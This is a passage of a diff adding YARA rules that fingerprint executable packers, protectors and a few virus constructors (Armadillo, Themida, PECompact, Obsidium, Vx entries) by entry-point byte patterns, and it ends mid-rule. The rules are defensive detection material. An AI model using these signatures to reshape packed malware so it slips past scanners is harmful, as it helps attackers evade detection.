+			$a0 = { 60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule Upackv032BetaPatchDwing
+	{
+	strings:
+			$a0 = { BE 88 01 ?? ?? AD 50 ?? AD 91 F3 A5 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Apex30alpha500mhz
+	{
+	strings:
+			$a0 = { 5F B9 14 00 00 00 51 BE 00 10 40 00 B9 00 ?? ?? 00 8A 07 30 06 46 E2 FB 47 59 E2 EA 68 ?? ?? ?? 00 C3 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule SimbiOZPoly21Extranger
+	{
+	strings:
+			$a0 = { 55 50 8B C4 83 C0 04 C7 00 ?? ?? ?? ?? 58 C3 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov184
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 E8 C1 40 00 68 F4 86 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov183
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 E0 C1 40 00 68 64 84 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov182
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 E0 C1 40 00 68 74 81 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov180
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 E8 C1 00 00 68 F4 86 00 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ExeSplitter13SplitMethodBillPrisonerTPOC
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 5D 81 ED 08 12 40 00 E8 66 FE FF FF 55 50 8D 9D 81 11 40 00 53 8D 9D 21 11 40 00 53 6A 08 E8 76 FF FF FF 6A 40 68 00 30 00 00 68 00 01 00 00 6A 00 FF 95 89 11 40 00 89 85 61 10 40 00 50 68 00 01 00 00 FF 95 85 11 40 00 8D 85 65 10 40 00 50 FF B5 61 10 40 00 FF 95 8D 11 40 00 6A 00 68 80 00 00 00 6A 02 6A 00 ?? ?? ?? ?? 01 1F 00 FF B5 61 10 40 00 FF 95 91 11 40 00 89 85 72 10 40 00 6A 00 8D ?? ?? ?? ?? 00 50 FF B5 09 10 40 00 8D 85 F5 12 40 00 50 FF B5 72 10 40 00 FF 95 95 11 40 00 FF B5 72 10 40 00 FF 95 99 11 40 00 8D 85 0D 10 40 00 50 8D 85 1D 10 40 00 50 B9 07 00 00 00 6A 00 E2 FC }
+	$a1 = { E9 FE 01 00 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 73 76 63 45 72 30 31 31 2E 74 6D 70 00 00 00 00 00 00 00 00 00 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8B 00 85 C0 0F 84 5F 02 00 00 8B 48 30 80 39 6B 74 07 80 39 4B 74 02 EB E7 80 79 0C 33 74 02 EB DF 8B 40 18 C3 }
+
+	condition:
+			$a0 or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule RJoiner12aVaska
+	{
+	strings:
+			$a0 = { 55 8B EC 81 EC 0C 01 00 00 8D 85 F4 FE FF FF 56 50 68 04 01 00 00 FF 15 0C 10 40 00 94 90 94 8D 85 F4 FE FF FF 50 FF 15 08 10 40 00 94 90 94 BE 00 20 40 00 94 90 94 83 3E FF 74 7D 53 57 33 DB 8D 7E 04 94 90 94 53 68 80 00 00 00 6A 02 53 6A 01 68 00 00 00 C0 57 FF 15 04 10 40 00 89 45 F8 94 90 94 8B 06 8D 74 06 04 94 90 94 8D 45 FC 53 50 8D 46 04 FF 36 50 FF 75 F8 FF 15 00 10 40 00 94 90 94 FF 75 F8 FF 15 10 10 40 00 94 90 94 8D 85 F4 FE FF FF 6A 0A 50 53 57 68 20 10 40 00 53 FF 15 18 10 40 00 94 90 94 8B 06 8D 74 06 04 94 90 94 83 3E FF 75 89 5F 5B 33 C0 5E C9 C2 10 00 CC CC 24 11 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule VxVirusConstructorIVPbased
+	{
+	strings:
+			$a0 = { E9 ?? ?? E8 ?? ?? 5D ?? ?? ?? ?? ?? 81 ED ?? ?? ?? ?? ?? ?? E8 ?? ?? 81 FC ?? ?? ?? ?? 8D ?? ?? ?? BF ?? ?? 57 A4 A5 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EncryptPE12003518WFS
+	{
+	strings:
+			$a0 = { 60 9C 64 FF 35 00 00 00 00 E8 79 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv168v184
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 7B 11 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SDProtectorProEdition116RandyLi
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 18 33 C0 89 41 04 89 41 }
+	$a1 = { 55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 18 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 93 03 00 00 03 C8 74 C4 75 C2 E8 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	rule Reg2Exe222223byJanVorel
+	{
+	strings:
+			$a0 = { 6A 00 E8 2F 1E 00 00 A3 C4 35 40 00 E8 2B 1E 00 00 6A 0A 50 6A 00 FF 35 C4 35 40 00 E8 07 00 00 00 50 E8 1B 1E 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 C8 35 40 00 E8 76 16 00 00 83 C4 0C 8B 44 24 04 A3 CC 35 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 EC 1D 00 00 A3 C8 35 40 00 E8 62 1D 00 00 E8 92 1A 00 00 E8 80 16 00 00 E8 13 14 00 00 68 01 00 00 00 68 08 36 40 00 68 00 00 00 00 8B 15 08 36 40 00 E8 71 3F 00 00 B8 00 00 10 00 BB 01 00 00 00 E8 82 3F 00 00 FF 35 48 31 40 00 B8 00 01 00 00 E8 0D 13 00 00 8D 0D EC 35 40 00 5A E8 F2 13 00 00 68 00 01 00 00 FF 35 EC 35 40 00 E8 84 1D 00 00 A3 F4 35 40 00 FF 35 48 31 40 00 FF 35 F4 35 40 00 FF 35 EC 35 40 00 E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv120EngdulekxtBorlandDelphiMicrosoftVisualC
+	{
+	strings:
+			$a0 = { 0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CrunchPE
+	{
+	strings:
+			$a0 = { 55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CICompressv10
+	{
+	strings:
+			$a0 = { 6A 04 68 00 10 00 00 FF 35 9C 14 40 00 6A 00 FF 15 38 10 40 00 A3 FC 10 40 00 97 BE 00 20 40 00 E8 71 00 00 00 3B 05 9C 14 40 00 75 61 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 68 94 10 40 00 FF 15 2C 10 40 00 A3 F8 10 40 00 6A 00 68 F4 10 40 00 FF 35 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ExeShieldv27b
+	{
+	strings:
+			$a0 = { EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPXInlinerv10byGPcH
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D5 FE FF FF 8B 06 83 F8 00 74 11 8D B5 E1 FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 B1 FE FF FF 2B D0 89 95 B1 FE FF FF 01 95 C9 FE FF FF 8D B5 E5 FE FF FF 01 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PKLITEv114v120
+	{
+	strings:
+			$a0 = { B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 09 BA ?? ?? CD 21 CD 20 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ExeToolsCOM2EXE
+	{
+	strings:
+			$a0 = { E8 ?? ?? 5D 83 ED ?? 8C DA 2E 89 96 ?? ?? 83 C2 ?? 8E DA 8E C2 2E 01 96 ?? ?? 60 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ThinstallEmbedded2545Jitit
+	{
+	strings:
+			$a0 = { E8 F2 FF FF FF 50 68 ?? ?? ?? ?? 68 40 1B 00 00 E8 42 FF FF FF E9 9D FF FF FF 00 00 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxARCV4
+	{
+	strings:
+			$a0 = { E8 00 00 5D 81 ED 06 01 81 FC 4F 50 74 0B 8D B6 86 01 BF 00 01 57 A4 EB 11 1E 06 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillo3X5XSiliconRealmsToolworks
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 60 33 C9 75 02 EB 15 EB 33 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSLRHv032afakePESHiELD025emadicius
+	{
+	strings:
+			$a0 = { 60 E8 2B 00 00 00 0D 0A 0D 0A 0D 0A 52 65 67 69 73 74 41 72 65 64 20 74 6F 3A 20 4E 4F 4E 2D 43 4F 4D 4D 45 52 43 49 41 4C 21 21 0D 0A 0D 0A 0D 00 58 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov252beta2
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 ?? ?? ?? ?? B0 ?? ?? ?? ?? 68 60 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 24 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CipherWallSelfExtratorDecryptorConsolev15
+	{
+	strings:
+			$a0 = { 90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule PCShrinkerv029
+	{
+	strings:
+			$a0 = { BD ?? ?? ?? ?? 01 AD 55 39 40 ?? 8D B5 35 39 40 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NsPacKV33LiuXingPing
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? ?? ?? 80 38 00 74 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CopyMinderMicrocosmLtd
+	{
+	strings:
+			$a0 = { 83 25 ?? ?? ?? ?? EF 6A 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Crunchv5BitArts
+	{
+	strings:
+			$a0 = { EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 FC 07 00 00 89 85 E8 07 00 00 FF 74 24 2C E8 20 02 00 00 0F 82 94 06 00 00 E8 F3 04 00 00 49 0F 88 88 06 00 00 8B B5 E8 07 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PCShrinkerv020
+	{
+	strings:
+			$a0 = { E8 E8 01 ?? ?? 60 01 AD B3 27 40 ?? 68 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillo500SiliconRealmsToolworks
+	{
+	strings:
+			$a0 = { E8 E3 40 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 44 15 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 36 13 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 C7 12 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 48 11 00 00 59 89 7D FC FF 75 08 E8 01 49 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 66 D3 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 AF F9 FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 EE 0F 00 00 59 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SLVc0deProtector060SLVICU
+	{
+	strings:
+			$a0 = { EB 02 FA 04 E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00 00 00 93 E8 31 00 00 00 78 E8 DD }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Kryptonv03
+	{
+	strings:
+			$a0 = { 8B 0C 24 E9 C0 8D 01 ?? C1 3A 6E CA 5D 7E 79 6D B3 64 5A 71 EA }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CrackStopv101cStefanEsser1997
+	{
+	strings:
+			$a0 = { B4 48 BB FF FF B9 EB 27 8B EC CD 21 FA FC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Kryptonv05
+	{
+	strings:
+			$a0 = { 54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 71 44 ?? ?? 2B 85 64 60 ?? ?? EB 43 DF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Kryptonv04
+	{
+	strings:
+			$a0 = { 54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 61 34 ?? ?? 2B 85 60 37 ?? ?? 83 E8 06 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PassLock2000v10EngMoonlightSoftware
+	{
+	strings:
+			$a0 = { 55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01 00 00 C7 43 60 01 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 83 EC 44 C7 04 24 44 00 00 00 C7 44 24 2C 00 00 00 00 54 FF 15 E8 61 40 00 B8 0A 00 00 00 F7 44 24 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Upackv029Betav031BetaDwing
+	{
+	strings:
+			$a0 = { BE 88 01 ?? ?? AD 8B F8 95 AD 91 F3 A5 AD B5 ?? F3 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule AlexProtector10beta2byAlex
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B 44 24 0C EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 83 80 B8 00 00 00 02 33 C0 EB 01 E9 C3 58 83 C4 04 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 50 64 FF 35 00 00 00 00 64 89 25 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule MoleBoxv254Teggo
+	{
+	strings:
+			$a0 = { 00 8B 4D F0 8B 11 89 15 ?? ?? ?? 00 8B 45 FC A3 ?? ?? ?? 00 5F 5E 8B E5 5D C3 CC CC CC E8 EB FB FF FF 58 E8 ?? 07 00 00 58 89 44 24 24 61 58 58 FF D0 E8 ?? ?? 00 00 6A 00 FF 15 ?? ?? ?? 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule InstallShield2000
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 C4 ?? 53 56 57 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Obsidium1337ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 02 ?? ?? E8 2C 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 27 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 02 ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PESpinv03Engcyberbob
+	{
+	strings:
+			$a0 = { EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 }
+	$a1 = { EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02PEPack099Anorganix
+	{
+	strings:
+			$a0 = { 60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxVCL
+	{
+	strings:
+			$a0 = { AC B9 00 80 F2 AE B9 04 00 AC AE 75 ?? E2 FA 89 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule VterminalV10XLeiPeng
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 58 05 ?? ?? ?? ?? 9C 50 C2 04 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEEncrypt10Liwuyue
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D 0F 05 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89 5D EC 8B 41 18 8B C8 49 85 C9 72 5A 41 33 C0 8B D8 C1 E3 02 03 DA 8B 3B 03 3E 81 3F 47 65 74 50 75 40 8B DF 83 C3 04 81 3B 72 6F 63 41 75 33 8B DF 83 C3 08 81 3B 64 64 72 65 75 26 83 C7 0C 66 81 3F 73 73 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule InstallAnywhere61ZeroGSoftwareInc
+	{
+	strings:
+			$a0 = { 60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 }
+	$a1 = { 60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule iLUCRYPTv4018exe
+	{
+	strings:
+			$a0 = { 8B EC FA C7 ?? ?? ?? ?? 4C 4C C3 FB BF ?? ?? B8 ?? ?? 2E ?? ?? D1 C8 4F 81 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02ASProtectAnorganix
+	{
+	strings:
+			$a0 = { 60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EncryptPEV22006710WFS
+	{
+	strings:
+			$a0 = { 60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00 }
+	$a1 = { 60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 54 65 6D 70 50 61 74 68 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule Themida10xx18xxnocompressionOreansTechnologies
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 D8 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8B DA C7 45 D8 00 00 00 00 8B 45 D8 40 89 45 D8 81 7D D8 80 00 00 00 74 0F 8B 45 08 89 83 ?? ?? ?? ?? FF 45 08 43 EB E1 89 45 DC 61 8B 45 DC C9 C2 04 00 55 8B EC 81 C4 7C FF FF FF 60 E8 00 00 00 00 }
+	$a1 = { 55 8B EC 83 C4 D8 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8B DA C7 45 D8 00 00 00 00 8B 45 D8 40 89 45 D8 81 7D D8 80 00 00 00 74 0F 8B 45 08 89 83 ?? ?? ?? ?? FF 45 08 43 EB E1 89 45 DC 61 8B 45 DC C9 C2 04 00 55 8B EC 81 C4 7C FF FF FF 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8D 45 80 8B 5D 08 C7 85 7C FF FF FF 00 00 00 00 8B 8D 7C FF FF FF D1 C3 88 18 41 89 8D 7C FF FF FF 81 BD 7C FF FF FF 80 00 00 00 75 E3 C7 85 7C FF FF FF 00 00 00 00 8D BA ?? ?? ?? ?? 8D 75 80 8A 0E BB F4 01 00 00 B8 AB 37 54 78 D3 D0 8A 0F D3 D0 4B 75 F7 0F AF C3 47 46 8B 8D 7C FF FF FF 41 89 8D 7C FF FF FF 81 F9 80 00 00 00 75 D1 61 C9 C2 04 00 55 8B EC 83 C4 F0 8B 75 08 C7 45 FC 00 00 00 00 EB 04 